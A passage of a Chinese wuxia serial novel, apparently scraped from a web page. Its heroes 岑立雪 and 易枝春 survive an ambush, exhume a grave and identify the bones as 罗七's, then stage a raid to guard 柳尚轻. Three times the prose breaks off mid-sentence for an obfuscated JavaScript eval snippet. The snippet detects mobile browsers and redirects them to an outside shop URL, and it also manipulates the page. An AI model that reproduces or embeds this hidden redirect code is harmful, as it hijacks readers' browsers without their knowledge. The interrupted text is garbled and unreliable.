岑立雪拨开额前碎发，解了系在道旁松木上的缰绳。傍晚借来的那匹黑马自树后踱出，见她凑近，亲昵地喷了个响鼻。 “车驾显眼，夜行不宜招摇，”易枝春瞧着黑马蹭弄岑立雪掌心，不由得笑起来，“惊寒思虑周全。” “可惜只寻到一匹温驯的，委屈平洲兄与我同乘了。”岑立雪翻身上马，轻捷如燕。坐稳了，却见易枝春仍站在原地，只望着马鞍出神。 “有何顾虑？” “说来惭愧，”易枝春抬眼望她，耳根透出些许薄红，顿了顿，方轻声道，“幼时虽随长辈学过几日，然……未曾真个策骑出行过。” “无妨，”岑立雪朗然一笑，伸出手去，待易枝春搭上来，便提了气力，一牵他跃至鞍上，“坐稳便是。” 背上多了一人，黑马不安地踏了踏蹄子。岑立雪轻夹马腹，松松挽着缰绳，催着马小跑起来。易枝春坐在她身后，身姿不免僵硬，马背颠簸，二人虽隔一拳，可起伏间衣料免不了挨碰。 他手足无措，不得不扒了鞍后皮环稳住身形。岑立雪虽未回头，却也猜得出身后是怎样一番光景：“平洲兄安心，摔不着你。” 马蹄似也随一声“安心”渐渐稳了，易枝春轻声应着，岑立雪分神环顾，官道两旁，农田在夜色里连成黑黢黢一片，远处村落零星灯火，犹如沉在水底的星子。 “上回出城，”身后人开口，嗓音由风打得飘忽，“是一年前了。” “云韶府还有这般规矩？” “不是府里规矩，是我本就无处可去。” 话讲得平淡，里头却像压着什么。岑立雪不欲追问，只将缰绳轻轻一带，引着黑马拐上条白日里山明水秀的岔路，可惜月光乏力，眼下万物黑沉沉，再好的景致也难得一观。 易枝春看不穿岑立雪思绪，谈起了探来的消息：“郑家祖坟在庄子后山，守坟的是个老鳏夫，耳背，养了条黄狗。” 岑立雪“嗯”了一声，郑家祖坟底细，她亦是一早查清。此刻听易枝春絮絮说着，不过是为填补夜路萧索。 马蹄嗒嗒，偶有鸟雀从林间惊起，扑棱着翅膀，扎进二人望不见的远处去。 * 道路愈来愈窄，树影渐浓。岑立雪耳尖一动，猛地勒马。易枝春随之一倾，几乎贴上她脊背：“惊寒？” “有人。”岑立雪低声以应，当即提了内力。易枝春凝神细嗅，风里除了土腥花香，似也混了旁的气味。 不待二人隐匿，林间破空声起。数支弩箭疾射而出，直取马上之人。岑立雪按了易枝春脖颈，引他趴伏避开，随即一牵缰绳，黑马长嘶，人立而起。 弩箭擦着马腹钉进树干，箭尾剧颤。黑马前蹄尚未落地，又有黑影自暗处扑来。雪亮刀光在月下一晃，竟是直直劈砍向易枝春后心。 岑立雪腰身一塌，并未拔剑，只反手一握，五指铁箍般扣紧持刀者腕骨。一拧，一拽，那人惨呼不及出口，已被她生生抡离了地面。 借上风势，岑立雪将其荡过半圈，复又狠狠砸向树干。骨裂之声细密响起，此人身躯沿树滑落，堪堪挂在方才的弩箭上。 黑马四蹄着地，岑立雪飞身下马，立在道路中央，冲着矮丛冷然道：“滚出来。” 四下陡然一静。月光拉扯着树影，风过林梢，沙沙如私语。不多时，一精壮汉子缓步现身，于马匹十步外站定：“阁下好身手。您有所不知，方才所护之人，身上背了天大的麻烦。” “有人出了重金，要我等连夜取他项上人头。”见岑立雪不语，壮汉从怀里拎出个沉甸甸布袋，往地上一搁。 袋口松开，露出里头金锭一角。汉子抱拳：“酬金四成，权当交个朋友。阁下自行离去，往后山水相逢，互有照应。” 岑立雪终于开口，却只嗤笑道：“这点玩意，哪里请得动我。” 汉子怔愣间，岑立雪动了。并非扑向他，而是以足尖挑起地上碎石，踢往密林。 碎石尖啸一停，林中便传来闷哼。有黑影踉跄跌出，岑立雪身形鬼魅般欺近，无锋剑尚未出鞘，只持剑柄一震，便又正中偷袭者喉结。 壮汉面色骤变，厉喝：“不识抬举！” 蛰伏杀手齐出，刀光如雪片泼洒，封死岑立雪周身退路。孤立无援之际，她不退反进，终于拔剑出鞘。 乌沉剑身划破月华，无锋无芒，却携千钧之势，直刺向最近一人胸膛。他举刀格挡，刀剑相交，并非金石齐鸣，只“嗤”一响，厚背刀便应声而断。无锋剑势未绝，破开他胸前衣料，扎穿血肉。 一人受了重创，合围阵势立乱。三人缠上岑立雪，二人迂回扑向马匹，意图擒人掣马。 岑立雪眉梢一挑，剑招忽变，抛却疾刺，转而横抡。无锋剑厚重，这一抡便如排山倒海，卷起沙石断枝。 冲在前头的杀手遭劲风所迫，不得不退。她也趁势旋身，砍向他手腕。 杀手撤刀不及，腕骨爆裂。痛呼间，岑立雪掠至马前，对迫近刀锋不闪不避，侧身一记蹬腿，正中对方腰腹，内力透体，将人踹得倒飞出去。 另一人觑准空隙矮身滚进，刀砍马腿。黑马惊嘶扬蹄，易枝春被掀下马来，探入袖中，点点寒星骤掠——细如牛毛的银针没入杀手颈侧，制得他一僵，刀势凝滞之余，人也瘫软在地。 至此，大局已定。岑立雪挽剑归鞘，行至为首壮汉身前。 不待发问，汉子捂着胸口喘息，盯着岑立雪惨笑道：“好戏……还在后头……” 话音未落，他猛一咬牙，黑血自嘴角涌出，立时没了声息。其余杀手竟也纷纷效 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16975276|191059||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 仿，不过转瞬，遍地尸首。 岑立雪蹲下身，扯开汉子面巾，见他面上刺满青黑纹路，似藤非藤，似咒非咒，纠缠难辨。她细看良久，又望向易枝春，他亦摇了摇头。 就着月光，岑立雪以指为笔，在掌心将纹路走势虚画数遍，牢记于心。此纹古怪，待验过郑三尸骨，或可寻阿苍一问。 血浸透半截袖子，好在手上依旧稳当，岑立雪撕下衣摆，草草扎了臂上伤口。易枝春眸光一紧，矮了身子便要察看她的伤势。 “皮肉伤而已，无碍，”岑立雪侧身避开，反而问他，“平洲兄如何？” 易枝春一愣，低头才见肩头衣料裂了道口子，应是遭刀风扫过。幸而只伤及浅表，血已凝了。 岑立雪指尖忽然搭上他脉门，力道温和又不容挣脱：“气息浮乱，可是伤了内里？” “旧疾罢了，”易枝春拢了拢衣襟，抬眼望向她，“倒是惊寒方才那一剑……” “剑势如此，本就不是轻灵路数。”岑立雪偏开头，不再多言，转身去寻黑马。 那马儿虽受了惊，好在并未跑远，垂头啃食野草间，有一搭没一搭往这边瞧。岑立雪捋一捋它鬃毛，又弯下身子检视马腿，确认无碍后，才利落跨上马背。 地上人躺得横七竖八，易枝春验也不验，一双眼睛只管追着岑立雪臂上那道伤。他想说的太多，千言万语都闷闷堵在胸口，歉疚、谢意并着他为之羞愧的疼惜混在一处，最终只化作沉沉一声叹息。 易枝春默然上前，握住岑立雪的手翻身上马，谨慎得过头，像是担忧碰碎了什么。 有气息拂过岑立雪后颈，是他轻手轻脚地靠过来，摘去了她肩头的草叶。 天际泛起鱼肚白，黑马晃了晃脑袋，岑立雪踟蹰着，到底低声添了句：“小伤而已，莫要挂怀。从前行走江湖，受过更重的伤，不也走到了今天。” 黑马兴许当岑立雪催促，不等易枝春应声，便撒开蹄子狂奔起来，将方才肃杀仓促甩在身后。 “平洲兄若不想跌下去，”岑立雪头也不回，捎着了然笑意，“便牵紧我的衣带。打起精神，郑三还在前头等着呢。” 晨光熹微，远山轮廓渐次清晰。易枝春依言牵紧了岑立雪，他垂下眼睫，终是问：“方才惊寒所使，可是劈岳剑诀？” 岑立雪心头一动：“是，平洲兄认得？” “以拙破巧，以重克轻。劲力凝于一线，非内力深厚者不能施展，”风卷起岑立雪发丝，时不时拂过易枝春颊侧，他不伸手拨开，只偏了偏头，“家母从前喜读江湖杂记，幼时曾听她提过几句。” “原来如此。”岑立雪并不如何意外，江湖说大不大，易枝春此言，提醒意味远胜猜疑。正如她一早看穿他本领，对其来历亦有揣度，可未曾宣之于口。 默契总是令人快慰。至于潜藏其中的心绪，岑立雪眨了眨眼睛……有时候，她大抵是同易枝春想到一处的。 然师门血仇未报，万万不可在路上耽搁。 于是岑立雪不再深言，只将目光投向愈来愈亮的天地交界。衣带在易枝春手中，马背之上依托稀薄，此刻却已足够。 20.绣楼枯骨（七） 山径渐平，不远处桃源庄浸在晨雾里，影影绰绰，瞧不真切。黑马驮着岑易二人走进坳里，便自发收蹄，停了下来。 岑立雪抬手，往黑马嘴里塞了把路上摘的草叶，牵着伤处一痛。她面不改色，只侧过身子，借着天光打量四周。 老坟无不荒在深草间，碑文漫漶。唯有一座新起土包还露着湿泥，引魂幡尚未撤去，在晨风里软软垂着。坟边搭着个草棚，黄狗蜷在棚口，肚腹微微起伏。 “一路颠簸，辛苦惊寒。”易枝春松开岑立雪衣带，话音里犹带倦意。 岑立雪道声“无事”，利落下马，回身见易枝春正小心探脚下鞍，便伸手托住他肘弯。易枝春由此借力，也稳稳落了地。 二人朝坟茔走去。路过草棚，易枝春脚步稍顿，自袖中摸出个纸包，捻开些许淡黄粉末，屈指轻弹。粉末悄然飞入棚里，老翁鼾声如雷，易枝春抚了抚黄狗鼻头，小家伙也睡得更沉了些。 “是安神药材，分量轻，日头高些便会醒转，”易枝春道，“免得惊动了庄里人。” 岑立雪颔首，停在郑三坟包一侧：“土是回填的，从此挖起罢。” 背了一路的包袱终于派上用场，易枝春解开它，露出里头两柄手锹、若干素布并一应零碎器具。 他握了手锹，却不将另一柄递出去，只望向岑立雪：“惊寒，你臂上有伤，不必勉强。” “哪里有这样多讲究。”岑立雪截了他话头，信手拎来锹子，切入土中。易枝春自知拗不过岑立雪，只得退至她身旁，闷声掘土。 泥土潮润，裹着夜露寒气。二人一左一右，锹起锹落，唯闻泥土翻动窸窣。岑立雪见易枝春气力稍弱，也不点破，只将自己这边土掘得飞快，不时伸锹过去，将他那头板结土块撬松。 约莫一刻，黢黑棺盖露了出来。木板纤薄，漆也未上匀，缝隙里塞着干泥。 岑立雪以锹背叩了叩棺盖，响声空闷。她与易枝春对视一眼，同时将锹刃楔入棺盖缝隙：“起。” 发力间，木钉皆被拔起，棺盖错开道两指宽缝隙。先是湿霉气涌出，不过数息，一股似曾相识的味道便漫开来。 岑立雪皱起眉，绣楼里医书所载，腐卤草腥苦，磐里胆酸涩，混在一处呛人喉鼻，迥异于如今陈腐气味。 挥手叫易枝春退开些，岑立雪弯下腰，一把掀了棺盖，斜靠在坟坑壁上。天光灌入，棺内枯骨躺在草席上，根根肋骨支棱出来，白得瘆人。 岑立雪只扫一眼，心便往下沉。此骨殖形制全然不对。 府衙验玉那日，郑三卷宗她已看过。画押文书上写“身长五尺二寸，矮壮，罗圈腿”，可眼前棺里这具骸骨，躺着也见疏朗，腿骨直长，骨盆窄峭，肩胛展开架势也阔。 纵是皮肉销尽，这身骨相却骗不了人。绝非常年佝偻赌桌，被酒色泡酥了身子的人该有的模样。 “平洲兄。”她唤了一声。易枝春蹲来棺旁，眼睫低垂瞧了半晌，又伸出手，隔着寸许虚空，自颅骨至趾骨，以拃量度几回。 “并非郑三，”他抬起头，断然道，“郑三若有这般身量，卷宗不会记作矮壮。更何况，观此人骨相，少说四十往上，郑三不过三十。” 他边说，边俯下身托起颅骨，借光检视齿列：“臼齿磨耗甚重，亦非而立男子之相。” 岑立雪静听罢，见易枝春捧骨之状尤为慎重，神色亦是古怪，不由问道：“此乃何人？” “仅有猜测，惊寒且容我再看看。”易枝春将颅骨妥帖放回，俯身凑近尸骨胸腹。岑立雪撤了半步由他忙着，转而阖目嗅闻，于记忆里细细搜寻鼻端那股沉郁。 木头，水汽，阴干……是了，快蟹船上，窜天蛇舱室积年潮闷，所弥漫正是这般气味。她睁开眼，易枝春也直起了身子，递来从脊椎骨缝刮下的尘屑，同她所料一般无二：“蚍蜉草。” 四目相对，二人皆是神色凝重，岑立雪道：“此人乘过快蟹船。” “且不止一回，气味渗入脊椎，非长年熏染不可得。或生前常处其中，或死后置于……” 岑立雪心头电转。蚍蜉草是窜天蛇为护异域私货所设，这具尸骨，恐怕与之脱不了干系。 她忽而想起易枝春此前提起的人：“南家旧交里那一位罗七爷，尤爱古玉，案发前举家迁往南洋，音讯全无。” 易枝春眸光一凝：“是。” “平洲兄可知此人形貌？” “卷宗有云，罗七其人身长六尺，擅武，早年遇袭，坠马后被一剑贯胸，险死还生，”易枝春应着，托起尸骨右臂桡骨，“确系坠马旧伤。” 他又探向脊椎，指尖虚悬于剑痕之上良久，方低声道：“自后刺入，擦心脉而过，与罗七爷当年伤处吻合。” 诸般线索叠在一处，岑立雪望向易枝春，见他面色沉凝，自袖中取出枚青白玉环，轻轻搁在尸骨腰际，低声叹了句：“物归原主。” 肩头颤了颤，易枝春却并未收回手，像是为拢住一缕将散的烟。岑立雪心下明了，索性自坟旁包袱里取来水囊。 思绪沉坠，想来不欲与人言。岑立雪什么也没问，只拔开塞子将水囊递过去，当解他喉间滞涩。 此举显然出了易枝春意料，他怔了怔，才抬手来接。二人指尖相触，岑立雪觉出冰凉，待易枝春握稳了，又在他虎口一托。极轻如涟漪，转眼无踪。 易枝春仰颈饮水，喉头滚得格外急切，再无平日克制模样。饮罢，他低声喘息着，颓然望向森森白骨：“又少了一个。” 如水眸光起了雾，雾底下压着火，将熄未熄，烧着沉痛，也烧着不肯沉没的决绝。晓风掠过坟头，亦掀起易枝春衣袍，衬得他身形愈发伶仃。 岑立雪看在眼里，思绪也裹了酸涩，到底挪一挪脚步，为易枝春挡了风口：“幕后之人杀了罗七爷，以他尸骨顶替郑三，设下此局。” “你我清查绣楼，会面柳尚轻，识破尸首并非郑三，再借蚍蜉草思及异域，认出罗七爷。便是将深浅底细，完完整整亮给了他。” “哪怕他从前多有犹疑，此刻也该定了心神，是以一路追杀至此，”易枝春叹了口气，“惊寒，是我不察，连累了你。” “往后莫要再这样讲了。若不是平洲兄帮衬，我大抵还困于鬼船琐屑。此人这般行事，无非是要掂量你我同旧事干系几何，是否铁了心寻他，杀他。” “旧事么，”心口所压巨石松了松，易枝春唇畔漾开浅笑，“我早知惊寒聪慧，瞒也瞒不住的。” “我却觉着，平洲兄本就无意隐瞒，”岑立雪也回以一笑，晨光正映她眉眼疏朗，“劈岳既被认出，想来我这剑你也识得，左右是扯平了。” “棋局由那人所设，你我绝不可任他落子。待回了泮安，平洲兄且借云韶门路，放些风声出去。莫要太响，只说绣楼尸骨有异，疑牵连旧案。” “水浑了，鱼才游得急切，”易枝春颔首， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16987057|191059||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “罗七爷或有故旧，我派人去寻。只是，柳姑娘……” 岑立雪望向远山层峦：“孰轻孰重，我们等她自己想明白。” “好，”易枝春神色坦荡，“惊寒，多谢。” “既从始至终都在一条船上，客气话便免了罢。”岑立雪一笑，拾了手锹，同易枝春合力将坟土回填。 待最后一抔土落下，天色大亮。山雾散尽，林鸟啼鸣，方才验骨辨尸及推心置腹，恍若晨间一场短梦。 * 下山坡陡，是以岑易二人并未骑乘，只叫马儿悠哉跑在一旁。 臂伤再度抽痛，岑立雪默然将缰绳换了手，却被易枝春看在眼里。他生疏牵过马儿，领着它放缓脚步，与岑立雪并肩而行。 将至山脚，官道在望。林间声息忽起，鸟雀惊飞，马蹄又密又急，正朝这厢驰来。易枝春驻足，岑立雪反手按上剑柄，二人退至道旁树下，肃然瞧着来路。 不过片刻，一骑如箭驰至。马上之人绯衣如火，青丝高束，不是陶知苍又是哪个。 她猛扽缰绳，白马长嘶之际，人已飘身下鞍：“姐姐，可算寻见你了！” 陶知苍抢步上前，气息未匀，扫见二人周身尘土血迹，脸色不由沉下去：“怎的弄成这般模样，那起子人又寻了旁的路子下手？” “一帮杂鱼罢了，”岑立雪略一摇头，“且慢，阿苍说旁的路子……可是往云韶府递索魂针的人露面了？” “正是。此番矛头不是云韶府，我还松了口气。谁承想，他是要杀牢里的柳尚轻，”陶知苍自怀里掏出信物，“我虽不知绣楼案内情，却也听闻郑三恶名，知他死不足惜。” “我怕旁人贸然领了这买卖，伤着柳姑娘，更误了姐姐正事，便赶忙回金开轩应了下来，又到六出去寻你。” “翎儿姑娘却说你夜里便走了，似是要出城去。我一路寻着马蹄，这才赶到桃源庄来。”道罢前情，陶知苍想起旁边还立着一人，匆匆朝易枝春行了一礼。 江湖雨急风骤，然挚友倾力相助，便是去往龙潭虎穴，也有暖意傍身。岑立雪抬手拂去陶知苍衣襟风尘：“阿苍，难为你替我留心。” “小事一桩，”陶知苍弯了弯眼眉，飒利劲头也跟着回来，眼风扫过一旁拱手还礼的易枝春，“哎呀”一声，“瞧我，只顾着与姐姐叙话了。这位便是云韶府易大家罢，久仰大名。” 易枝春闻言道：“易某见过陶姑娘，多谢姑娘倾力相助。” “客气。”陶知苍眨眨眼睛，目光于岑易二人之间打了个转，笑意更深了些。 岑立雪不欲再耽搁，当即执起陶知苍左手，在她掌心徐徐摹画那青黑纹路的曲折走势：“昨夜来袭杀手，齿间藏了毒，未及审讯便悉数自尽，面上皆刺此纹，阿苍可曾见过？” 陶知苍任她画完，凝神细辨，眉头蹙起：“有些眼熟，一时却想不起在何处见过。容我回去细细追查，一有消息，立刻告知姐姐。” “桩桩件件，这便又聚在了一处。惊寒意下如何？”易枝春温声发问。 “先顾活人，”日光煌煌泼洒，岑立雪跨上黑马，眼眸也盈着灼灼光华，“回城。” 她探手一带，将易枝春稳稳接上鞍来，陶知苍亦跃至马背。黑白并辔，折向山下官道。 青天朗日之下，遥遥一望便是泮安城郭。马儿昂首长嘶，蹄声如雷骤起。双骑飒沓，将新坟旧骨并陈年谜团，悉数抛于身后苍茫群山之中。 21.绣楼枯骨（八） 三人两骑泼风般驰入泮安城门，马蹄又密又急，惊得贩夫走卒纷纷提了货担往道旁躲。 岑立雪不勒缰，陶知苍亦紧随其后，扬声问道：“姐姐即刻往府衙去？” “是，”岑立雪颔首，仇敌杀招频频，容不得半分喘息，“雇主若见金开轩迟迟不动，许还要请来旁人。眼下，护住柳姑娘最是要紧。” “阿苍，烦你代我跑一趟六出，告知翎儿今日歇业。她若问及缘由，只说待我归来，当面分说清楚。” 岑立雪又自腰间解下云韶府通行玉牌，抛给陶知苍：“理清诸事，阳春阁再会。手持此牌，无人拦你。” “晓得了。”陶知苍应得干脆，打了个呼哨，白马便似离弦之箭，载着她朝六出呼啸而去。 易枝春将方才那番安排听在耳中，低声道：“那人若真急欲灭口，寻常牢狱恐难周全。” “正有此虑。须得另借府衙之势，绣楼案草草结了，如今也该劳动王盟好生弥补。” 易枝春了然：“当言柳姑娘手握旧案紧要证物，今有江湖势力意图灭口，需严加看护。” “守卫之人轮班时辰交错，勿令旁人摸清规律。”岑立雪添上一句。 三言两语间，府衙近在眼前。石狮默然矗立，朱漆大门尚开一线。易枝春下马落地已颇为稳当，他整过衣袍，便上了石阶同值守衙役交涉。 岑立雪并未近前，只勒马等在檐下。见易枝春从容递过手令，衙役面上怠惰便转作恭谨，侧身将人请了进去。 臂上伤痛阵阵袭来，岑立雪探手入怀，掌心贴上易枝春从前所赠之物。自二人共赴窜天蛇之约，她便不再怀疑碧凝膏药性，终日带在身上，以备不时之需。 雪岭灵芝并不如何刺鼻，岑立雪单手凑合着上了药，不多时易枝春便自府衙出来，身后跟着的正是王盟。捕头一面送行，一面局促地搓了搓手，面上圆熟里掺了些郑重，侧耳听着易枝春交代，不时点头。 二人行至岑立雪马前，王盟抬眼见她，抱拳笑道：“有劳岑掌柜一路护送。易大家已将事体言明，王盟晓得轻重。” “府衙有一侧院。旧日用以羁押涉事官眷，墙高门厚。我将才送了柳尚轻过去，又调拨一班妥帖兄弟，日夜轮守，保管连只雀儿也飞不进去。” 岑立雪下马还礼：“多谢捕头。事出突然，我等盼借衙门威严，一镇宵小之气。” “应当的，应当的！”王盟连连点头，眼珠子一转，“不瞒掌柜，绣楼一案本就透着邪性，如今又牵扯上金开轩……我等自然要尽心。” 易枝春温言接道：“此事不宜声张，对外只说临时羁押重犯，免得再生枝节。” “明白。”王盟匆匆转身，进了府衙。 易枝春目送他离去，方转向岑立雪：“我知此举尚且不够，需得回云韶府知会护卫，持我信物暗伏于内。惊寒安心。” “好。”岑立雪舒了口气，牵他上马。方才所上碧凝膏犹带清凉，压了血肉闷痛。黑马似也知晓事态紧急，无需鞭笞，便加紧蹄子往城西去。 * 阳春阁里，陶知苍正拎着玉壶冲茶。见岑易二人进门，她抬眼一笑，手上未停：“姐姐来得正好，水才沸，尝尝我带来的山岚雾。” 清冽茶香随水汽蒸腾开来，冲淡了阁里断续藤苦涩。三人围定，举手投足看似闲适，眼底眉梢却都凝着肃然。 岑立雪端起陶知苍推来的茶盏，却不就饮，只以热气熨一熨口鼻，涤去疲累：“好茶。阿苍，不知金开轩可遣了人催促于你？” “皆已被我打发回去，”陶知苍敛了笑意，“此行赏金颇厚，是要三日之内，取柳姑娘性命于监牢之中。雇主银货两讫，走的暗庄路子，查起来需费些周章。” “换个路子，”岑立雪搁下茶盏，眸光清亮，“阿苍，我们不妨将计就计。” “姐姐何意？” “既接下了买卖，那便做出个模样来。今夜府衙防守严密，阿苍可就此演一出戏。领着手下人潜入外监弄出些动静，佯装寻人不得，与巡夜衙役遭遇，打上几个回合，再假作不敌撤退。” “此举一则令雇主知晓金开轩并未袖手，二则放出刺杀受阻的消息，或可逼得他狗急跳墙。暗庄来不及应对，只要他动，便有迹可循。” 陶知苍了悟抚掌：“虚虚实实，反客为主。我手下确有专司湿活的生面孔，只是府衙那边，巡夜班次需得有道疏漏，戏才可唱得圆满。” “此事我来安排。”易枝春附和，行至案前提笔去信。府衙人事错综，这般细微调度，非深谙其中脉络且得人信任者不可为。 “衙役不通野路子，阿苍且收着手，莫真伤及无辜。撤退之时，亦可落下枚索魂针。”岑立雪笑了笑。 “大张旗鼓闯入府衙，却没逮着人，当真辱我玉面佛威名，”陶知苍如是打趣，又从衣袋里抻出一素笺，勾勒几笔，“子时，我带人自西墙翻入，原路撤退，针便留在墙根碎瓦处，如何？” 岑立雪与易枝春凑近细看，阁内一时只闻炭笔沙沙。三人略作商议，便将方案定下。 计议既毕，陶知苍将素笺就着烛火点燃，看它零落成灰，方舒展了神色：“我这便去挑人备物。姐姐与易大家夜奔桃源庄，又有伤在身，不若趁此刻稍作歇息。今夜还有得熬。” 连日奔波，此刻坐定，心神不免稍弛，倦意确如潮水阵阵涌来。挚友出言，岑立雪不欲逞强：“也好。阿苍，万事当心。” “我省得。”陶知苍言罢，推门而去，步态极尽轻捷，转眼掠过云韶府重重帘幕。 阁内重归寂静。茶放凉了，山岚雾叶已然沉底。易枝春起身，自柜里取出一只木匣，置于岑立雪手畔：“惊寒是为利器所伤，碧凝膏并非全然对症。” 想是他嗅见了气味。岑立雪未再推 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16997837|191059||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拒，默然解开臂上布条。伤口虽未及骨，却也颇深。易枝春眸光一沉，以熟水浸湿软布，轻缓拭去血污，又自匣里另取了药，细细敷于伤处。 疼痛得以疏解，岑立雪忽道：“平洲兄觉得，青黑面纹指向何方？” 易枝春低头为她裹伤，许是仍觉歉疚，嗓音沉闷：“金开轩耳目甚广，陶姑娘或能觅得源头。且慢，惊寒是疑心，林中杀手是幕后之人手下死士？” “蚍蜉草，落梅煞，罗七尸骨，如今再添上这古怪面纹，”待易枝春包扎妥当，岑立雪收回手，按了按肩颈，“线索看似散落如珠，却都被南洋一线隐隐串着。” “的确。”拾掇罢药匣，易枝春瞥见岑立雪动作，犹疑片刻，还是起来绕至她身后。 岑立雪未及回头，便觉察他掌心轻柔挨上了肩背。初时捎着试探意味，见她并未抗拒，便稳稳按揉起来。指法并不如何花哨，胜在每一下都落在绷紧筋络处，力道由浅入深，一扫酸楚麻木。 “你……”岑立雪肩背一僵，旋即在易枝春手下放松开来，“多谢平洲兄。” “举手之劳，”易枝春话音近在耳畔，气息拂过她鬓边碎发，“惊寒劳心劳力，筋肉若不松缓些，明日痛楚更甚。” 午后时有层云遮日，晖光越过雕花窗棂，映得阁里时明时暗。窗外隐约传来丝竹音韵，更衬得此间安然。 岑立雪阖上眼，由着暖意自肩颈流入四肢百骸，疲累似也随风去了。鼻端除却茶香，又絮絮萦绕起易枝春周身草药清苦。 思绪飘忽间，岑立雪听得易枝春噙起了调子。古朴悠缓，似溪水泠泠淌过山石，又如夜风簌簌穿行竹林，低而温润，捎着足以抚慰人心的平和。她默然倾听，只觉得耳熟，仿佛来自遥远一梦，可细细想来，却又什么都抓不住。 “此曲何名？”岑立雪不由问道。 “不知，是我少时听来的，”易枝春清了清嗓子，似是有些赧然，“自来到云韶府，平日多是抚琴，鲜少开嗓，惊寒见笑了。” 此刻再无需旁的言语，道谢与夸赞都不合心绪，岑立雪难得歇在这样一方静谧里。复仇之路豺狼环伺，幸而有人愿意替她拂去一身尘灰。 良久，易枝春直起身子，轻轻扶稳了岑立雪：“可好些了？” “舒坦多了。”岑立雪睁开眼，回过身以瞳仁追着易枝春。日光知情知趣，为他沉静眉目再添一道温和的幕，那双眼专注望向她，盈着难以言喻的柔软。 易枝春在她身侧坐下，将话头引回正事：“当年南氏屡屡收购异域药材，是以结识众多番商海客。如今看来，若祸根埋于彼时，其牵连之广，恐怕远超你我所想。” 若症结在商贾交易，无锋门从来避世，又是何时与之交恶？思及师长同门，岑立雪眼底温煦褪尽，只余山岳难移之坚忍：“无妨，牵连再广，总有源头。” “前路纵有坎坷，踏平便是。” 22.绣楼枯骨（九） 夜色如墨，寸寸漫过府衙高墙。侧院灯火通明，岑立雪与易枝春隐匿于邻屋脊后，此处隐蔽晦暗，却恰将门户墙头尽收眼底。 风拂檐瓦，捎来远处断续更鼓。岑立雪并未松懈，眼观六路，耳里细细筛着内外动静。易枝春则默然伏在她身侧，手探入袖中，扣紧了青丝缠针尾。 更鼓将歇未歇，西墙忽有数道黑影攀上墙头，是陶知苍领人扒了槐枝落地。步履迅捷不假，行迹却未加掩饰。 院内立时刀剑齐鸣，王盟粗哑嗓子扯得极高：“何人擅闯府衙重地！” 戏这便开了锣。岑立雪眼底掠过笑意，王盟手下这帮衙役，平日缉盗未必个个拼命，演起戏来倒是卖力得很。 兵刃交击，砰砰咣咣一路响过去，间或夹杂衙役喊打喊杀，并金开轩杀手佯装吃痛闷哼。一衙役嗓门格外亮堂，吼着“休走”追出去老远，脚步却浮得很，将虚张声势演了个十成十。 众人热热闹闹，赶集似的朝外监推移。眼看喧嚣攀至顶峰，即刻便要随着杀手败退戏码收场，一道人影竟自府衙库房掠了进来！ 来人以巾蒙面，轻功了得，步伐悄无声息，迅疾得骇人。岑立雪神色一凛，见她飞檐走壁如鱼儿入水，蛇骨鞭一甩，直噬门锁，眼看就要游进监牢。 此时不出更待何时，岑立雪飞身而起，稳稳落至持鞭人身旁。乌沉无锋剑后发先至，轰然撞向鞭梢。 “铛——！”无锋剑摧鞭弹起，拖出一溜耀眼火星。 持鞭人悚然一惊，似未料到有人埋伏在此。蛇骨鞭灵巧一缩，躲过岑立雪顺势上撩的剑锋，转而如蟒蛇缠树，卷向她手腕，鞭势刁钻狠辣，显然意在夺去兵刃。 岑立雪不闪不避，腕子一沉，无锋剑便由撩转劈。厚重剑身捎着沛然内力，径自砸向鞭身。 持鞭人似识得无锋剑厉害，不敢硬接，长鞭倏然回折，人亦随鞭疾走，朝院墙撤上数步，避开锋芒。 电光石火间，数点寒星自岑立雪身后袭来，直取持鞭人三路大穴。 哪知她长鞭狂舞，霎时于身前甩出道密不透风的乌障。“叮叮”几声脆响，易枝春所射玉针便由鞭影悉数扫落在地。 然此片刻阻滞，已足够岑立雪抢步上前，封死通往牢门之路径。持鞭人见去路被阻，冷哼一声，手中蛇骨鞭再度暴起。 廊前狭窄，火把焰苗被劲风带得骤然一矮，摇曳间，蛇骨鞭时如长枪挺刺，时又似软剑回环，招招狠戾，不离要害。岑立雪方知她压根不欲游斗，所求本就是强行开路。 昔年邵不容所言“以拙破巧，以力压诡”，岑立雪牢记在心，此刻无锋剑在她手，招式不见华丽，却沉凝无比，每每于长鞭及身之时将其格开。 剑风鞭啸交错，激得廊下尘土飞扬。持鞭人久攻不下，眼中焦躁之色愈浓。她凌空一抖蛇骨鞭，乌障又起，似要当头罩向岑立雪。 岑立雪拧身避过，以无锋剑回护。然层层鞭障却是虚招，蛇骨骤然合一，噬向她白日新裹伤处。 